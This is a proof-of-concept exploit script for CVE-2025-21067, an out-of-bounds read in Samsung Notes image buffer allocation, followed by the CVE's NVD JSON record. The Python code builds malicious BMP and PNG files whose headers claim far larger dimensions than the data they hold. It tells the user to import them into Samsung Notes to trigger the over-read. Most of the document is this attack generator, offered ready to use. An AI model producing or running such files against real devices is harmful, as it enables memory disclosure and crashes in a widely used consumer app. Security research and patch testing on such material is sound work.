CVE-2025-21067

# CVE-2025-21067 PoC - Samsung Notes OOB Read via Malicious Image # Vulnerability: Out-of-bounds read in image buffer allocation # Target: Samsung Notes < 4.4.30.63 import struct import zlib def create_malicious_bmp(filename="malicious_image.bmp"): """ Create a crafted BMP image with mismatched header metadata to trigger OOB read in Samsung Notes image buffer allocation. The image header claims a larger size than actual pixel data, causing buffer over-read during image processing. """ # BMP Header (14 bytes) # File header with manipulated size width = 4096 # Large width to trigger larger buffer allocation height = 4096 # Large height bpp = 32 # Bits per pixel row_size = ((width * bpp + 31) // 32) * 4 # Row size with padding pixel_data_size = row_size * height # Expected pixel data size # Intentionally provide much less actual pixel data than header claims actual_data_size = 256 # Only provide minimal data file_size = 54 + actual_data_size # BMP header + DIB header + small data # BMP File Header bmp_header = struct.pack('<2sIHHI', b'BM', # Magic number file_size, # File size (mismatched with actual content) 0, # Reserved1 0, # Reserved2 54 # Pixel data offset ) # DIB Header (BITMAPINFOHEADER - 40 bytes) dib_header = struct.pack('<IiiHHIIiiII', 40, # DIB header size width, # Width (claims 4096 pixels) height, # Height (claims 4096 pixels) 1, # Color planes bpp, # Bits per pixel 0, # Compression (BI_RGB) pixel_data_size, # Image size (claims full buffer needed) 2835, # X pixels per meter 2835, # Y pixels per meter 0, # Colors in color table 0 # Important color count ) # Minimal actual pixel data (triggers OOB read) pixel_data = b'\x41' * actual_data_size with open(filename, 'wb') as f: f.write(bmp_header) f.write(dib_header) f.write(pixel_data) print(f"[*] Created malicious image: {filename}") print(f"[*] Header claims: {width}x{height} ({pixel_data_size} bytes)") print(f"[*] Actual data: {actual_data_size} bytes") print(f"[*] Mismatch will trigger OOB read in Samsung Notes") def create_malicious_png(filename="malicious_image.png"): """ Alternative: Create a crafted PNG with manipulated IHDR chunk to trigger OOB read during image buffer allocation. """ # PNG signature png_sig = b'\x89PNG\r\n\x1a\n' # IHDR chunk with manipulated dimensions width = 8192 height = 8192 bit_depth = 8 color_type = 2 # RGB ihdr_data = struct.pack('>IIBBBBB', width, height, bit_depth, color_type, 0, 0, 0) ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc) # Minimal IDAT (truncated image data) raw_data = b'\x00' * 64 # Minimal compressed data compressed = zlib.compress(raw_data) idat_crc = zlib.crc32(b'IDAT' + compressed) & 0xffffffff idat_chunk = struct.pack('>I', len(compressed)) + b'IDAT' + compressed + struct.pack('>I', idat_crc) # IEND chunk iend_crc = zlib.crc32(b'IEND') & 0xffffffff iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc) with open(filename, 'wb') as f: f.write(png_sig) f.write(ihdr_chunk) f.write(idat_chunk) f.write(iend_chunk) print(f"[*] Created malicious PNG: {filename}") print(f"[*] Header claims: {width}x{height}") print(f"[*] Truncated data will trigger OOB read") if __name__ == "__main__": print("=" * 60) print("CVE-2025-21067 PoC Generator") print("Samsung Notes Image Buffer OOB Read") print("=" * 60) create_malicious_bmp() print() create_malicious_png() print() print("[+] Usage: Import the generated image into Samsung Notes") print("[+] The application will trigger OOB read during processing")

{"cve": {"id": "CVE-2025-21067", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:43.080", "lastModified": "2025-10-16T18:41:14.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in the allocation of image buffer in Samsung Notes prior to version 4.4.30.63 allows local attackers to access out-of-bounds memory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:notes:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.4.30.63", "matchCriteriaId": "5029C1F8-35E0-44F9-B0CE-000486E267EB"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=10", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}